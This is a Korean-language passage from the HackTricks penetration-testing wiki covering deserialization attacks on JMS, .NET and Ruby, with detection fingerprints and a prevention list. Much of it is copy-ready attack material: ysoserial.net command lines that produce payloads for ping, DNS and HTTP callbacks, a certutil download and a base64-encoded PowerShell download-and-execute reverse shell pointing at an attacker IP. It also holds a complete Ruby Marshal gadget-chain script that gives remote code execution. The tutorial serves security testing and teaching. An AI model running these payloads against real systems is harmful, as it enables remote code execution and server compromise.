따라서, 기본적으로 JMS를 위험하게 사용하는 여러 서비스가 있습니다. 따라서 이러한 서비스에 메시지를 보내는 데 충분한 권한이 있다면 (일반적으로 유효한 자격 증명이 필요합니다) 직렬화된 악성 객체를 보낼 수 있으며, 이는 소비자/구독자에 의해 역직렬화될 것입니다.
이는 이 공격에서 해당 메시지를 사용하는 모든 클라이언트가 감염될 것을 의미합니다.

서비스가 취약하더라도 (사용자 입력을 안전하게 역직렬화하지 않기 때문에) 취약점을 악용하기 위해 유효한 가젯을 찾아야 합니다.

도구 JMET은 알려진 가젯을 사용하여 직렬화된 여러 악성 객체를 보내고 이러한 서비스에 연결하여 공격하는 데 사용됩니다. 이러한 공격은 서비스가 여전히 취약하고 사용된 가젯 중 하나가 취약한 애플리케이션 내에 존재하는 경우에만 작동합니다.

참고 자료

.Net

.Net의 문맥에서 역직렬화 취약점은 Java에서 발견되는 것과 유사한 방식으로 작동하며, 가젯을 악용하여 객체의 역직렬화 중에 특정 코드를 실행합니다.

지문

WhiteBox

소스 코드는 다음과 같은 항목을 검사해야 합니다:

  1. TypeNameHandling
  2. JavaScriptTypeResolver

주목해야 할 것은 사용자가 제어하는 변수에 따라 유형을 결정할 수 있는 직렬화기입니다.

BlackBox

검색 대상은 서버 측에서 역직렬화될 수 있는 Base64로 인코딩된 문자열 AAEAAAD///// 또는 유사한 패턴입니다. 이는 TypeObject 또는 $type을 포함하는 JSON 또는 XML 구조를 포함할 수 있습니다.

ysoserial.net

이 경우에는 ysoserial.net 도구를 사용하여 역직렬화 공격을 생성할 수 있습니다. git 저장소를 다운로드한 후에는 Visual Studio를 사용하여 도구를 컴파일해야 합니다.

ysoserial.net이 어떻게 공격을 생성하는지 알고 싶다면 이 페이지에서 ObjectDataProvider 가젯 + ExpandedWrapper + Json.Net 포매터에 대해 설명된 내용을 확인할 수 있습니다.

ysoserial.net의 주요 옵션은 --gadget, --formatter, --output 및 **--plugin**입니다.

  • **--gadget**은 남용할 가젯을 나타냅니다(역직렬화 중에 명령을 실행할 클래스/함수를 나타냅니다).
  • **--formatter**는 공격을 직렬화하는 방법을 나타냅니다(페이로드를 역직렬화하는 데 사용되는 백엔드 라이브러리를 알아야 하며, 동일한 라이브러리를 사용하여 직렬화해야 합니다).
  • **--output**은 공격을 raw 또는 base64로 인코딩할지를 나타냅니다. 참고로 ysoserial.net은 페이로드를 UTF-16LE(Windows에서 기본적으로 사용되는 인코딩)로 인코딩합니다. 따라서 리눅스 콘솔에서 인코딩만 수행하면 인코딩 호환성 문제가 발생하여 공격이 제대로 작동하지 않을 수 있습니다(HTB JSON 상자에서 페이로드는 UTF-16LE 및 ASCII에서 모두 작동했지만 항상 작동한다는 의미는 아닙니다).
  • --plugin ysoserial.net은 ViewState와 같은 특정 프레임워크에 대한 공격을 생성하기 위해 플러그인을 지원합니다.

추가 ysoserial.net 매개변수

  • --minify더 작은 페이로드를 제공합니다(가능한 경우).
  • --raf -f Json.Net -c "anything" 이렇게 하면 제공된 포매터(Json.Net인 경우)와 함께 사용할 수 있는 모든 가젯이 표시됩니다.
  • --sf xml은 가젯(-g)을 지정할 수 있으며, ysoserial.net은 "xml"을 포함하는 포매터를 검색합니다(대소문자 구분 없음).

ysoserial 예제를 사용하여 공격 생성:

#Send ping
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "ping -n 5 10.10.14.44" -o base64

#Timing
#I tried using ping and timeout but there wasn't any difference in the response timing from the web server

#DNS/HTTP request
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "nslookup sb7jkgm6onw1ymw0867mzm2r0i68ux.burpcollaborator.net" -o base64
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "certutil -urlcache -split -f http://rfaqfsze4tl7hhkt5jtp53a1fsli97.burpcollaborator.net/a a" -o base64

#Reverse shell
#Create shell command in linux
echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.44/shell.ps1')" | iconv  -t UTF-16LE | base64 -w0
#Create exploit using the created B64 shellcode
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "powershell -EncodedCommand SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANAAuADQANAAvAHMAaABlAGwAbAAuAHAAcwAxACcAKQA=" -o base64

ysoserial.net에는 각 exploit이 어떻게 작동하는지 더 잘 이해할 수 있도록 도와주는 매우 흥미로운 매개 변수인 --test가 있습니다.
이 매개 변수를 지정하면 ysoserial.net이 로컬에서 exploit을 시도하므로 페이로드가 올바르게 작동하는지 테스트할 수 있습니다.
이 매개 변수는 유용합니다. 코드를 검토하면 다음과 같은 코드 청크를 찾을 수 있습니다(ObjectDataProviderGenerator.cs에서 가져옴):

if (inputArgs.Test)
{
try
{
SerializersHelper.JsonNet_deserialize(payload);
}
catch (Exception err)
{
Debugging.ShowErrors(inputArgs, err);
}
}

이는 exploit을 테스트하기 위해 코드가 serializersHelper.JsonNet_deserialize를 호출한다는 것을 의미합니다.

public static object JsonNet_deserialize(string str)
{
Object obj = JsonConvert.DeserializeObject<Object>(str, new JsonSerializerSettings
{
TypeNameHandling = TypeNameHandling.Auto
});
return obj;
}

이전 코드는 생성된 악용에 취약합니다. 따라서 .Net 애플리케이션에서 유사한 것을 찾으면 해당 애플리케이션도 취약할 가능성이 높습니다.
따라서 --test 매개변수를 사용하면 ysoserial.net이 생성할 수 있는 역직렬화 악용에 취약한 어떤 코드 청크인지 이해할 수 있습니다.

ViewState

.Net의 __ViewState 매개변수를 악용해 임의의 코드를 실행하는 방법에 대한 이 POST를 살펴보세요. 피해 기계에서 사용되는 비밀을 이미 알고 있다면, 이 포스트를 읽어 코드를 실행하는 방법을 알 수 있습니다](exploiting-__viewstate-knowing-the-secret.md).

예방

.Net에서 역직렬화와 관련된 위험을 완화하기 위해 다음을 수행하세요:

  • 데이터 스트림이 객체 유형을 정의하지 못하도록 허용하지 마세요. 가능한 경우 DataContractSerializer 또는 XmlSerializer를 사용하세요.

  • JSON.Net의 경우 TypeNameHandlingNone으로 설정하세요: %%%TypeNameHandling = TypeNameHandling.None%%%

  • JavaScriptSerializerJavaScriptTypeResolver를 함께 사용하지 마세요.

  • 역직렬화할 수 있는 유형을 제한하고, System.IO.FileInfo와 같은 .Net 유형의 내재적인 위험을 이해하세요. 이 유형은 서버 파일의 속성을 수정할 수 있으며, 거부 서비스 공격으로 이어질 수 있습니다.

  • 위험한 속성을 가진 유형에 주의하세요. 예를 들어 System.ComponentModel.DataAnnotations.ValidationExceptionValue 속성은 악용될 수 있습니다.

  • 악의적인 영향을 받지 않도록 유형 인스턴스화를 안전하게 제어하여 심지어 DataContractSerializer 또는 XmlSerializer도 취약해지지 않도록 합니다.

  • BinaryFormatterJSON.Net에 대해 사용자 정의 SerializationBinder를 사용하여 화이트리스트 컨트롤을 구현하세요.

  • .Net 내에서 알려진 취약한 역직렬화 가젯에 대해 정보를 파악하고, 역직렬화기가 해당 유형을 인스턴스화하지 않도록 합니다.

  • 알려진 가젯을 노출하지 않도록 인터넷 액세스가 있는 코드에서 잠재적으로 위험한 코드를 격리하세요. 예를 들어 WPF 애플리케이션에서 System.Windows.Data.ObjectDataProvider를 신뢰할 수 없는 데이터 소스에 노출하지 않도록 합니다.

참고 자료

루비

루비에서는 marshal 라이브러리 내의 두 가지 메서드를 통해 직렬화가 이루어집니다. 첫 번째 메서드인 dump는 객체를 바이트 스트림으로 변환하는 데 사용됩니다. 이 과정을 직렬화라고 합니다. 반대로, 두 번째 메서드인 load는 바이트 스트림을 객체로 되돌리는 데 사용됩니다. 이 과정을 역직렬화라고 합니다.

직렬화된 객체를 보호하기 위해 **루비는 HMAC (Hash-Based Message Authentication Code)**를 사용하여 데이터의 무결성과 신뢰성을 보장합니다. 이를 위해 사용되는 키는 다음과 같은 여러 위치 중 하나에 저장됩니다:

  • config/environment.rb
  • config/initializers/secret_token.rb
  • config/secrets.yml
  • /proc/self/environ

루비 2.X 일반 역직렬화에서 RCE 가젯 체인 (자세한 내용은 https://www.elttam.com/blog/ruby-deserialization/ 참조):

#!/usr/bin/env ruby

# Code from https://www.elttam.com/blog/ruby-deserialization/

class Gem::StubSpecification
def initialize; end
end


stub_specification = Gem::StubSpecification.new
stub_specification.instance_variable_set(:@loaded_from, "|id 1>&2")#RCE cmd must start with "|" and end with "1>&2"

puts "STEP n"
stub_specification.name rescue nil
puts


class Gem::Source::SpecificFile
def initialize; end
end

specific_file = Gem::Source::SpecificFile.new
specific_file.instance_variable_set(:@spec, stub_specification)

other_specific_file = Gem::Source::SpecificFile.new

puts "STEP n-1"
specific_file <=> other_specific_file rescue nil
puts


$dependency_list= Gem::DependencyList.new
$dependency_list.instance_variable_set(:@specs, [specific_file, other_specific_file])

puts "STEP n-2"
$dependency_list.each{} rescue nil
puts


class Gem::Requirement
def marshal_dump
[$dependency_list]
end
end

payload = Marshal.dump(Gem::Requirement.new)

puts "STEP n-3"
Marshal.load(payload) rescue nil
puts


puts "VALIDATION (in fresh ruby process):"
IO.popen("ruby -e 'Marshal.load(STDIN.read) rescue nil'", "r+") do |pipe|
pipe.print payload
pipe.close_write
puts pipe.gets
puts
end

puts "Payload (hex):"
puts payload.unpack('H*')[0]
puts


require "base64"
puts "Payload (Base64 encoded):"
puts Base64.encode64(payload)

루비 온 레일즈를 악용하기 위한 다른 RCE 체인: https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/

htARTE (HackTricks AWS Red Team Expert)를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요!

HackTricks를 지원하는 다른 방법: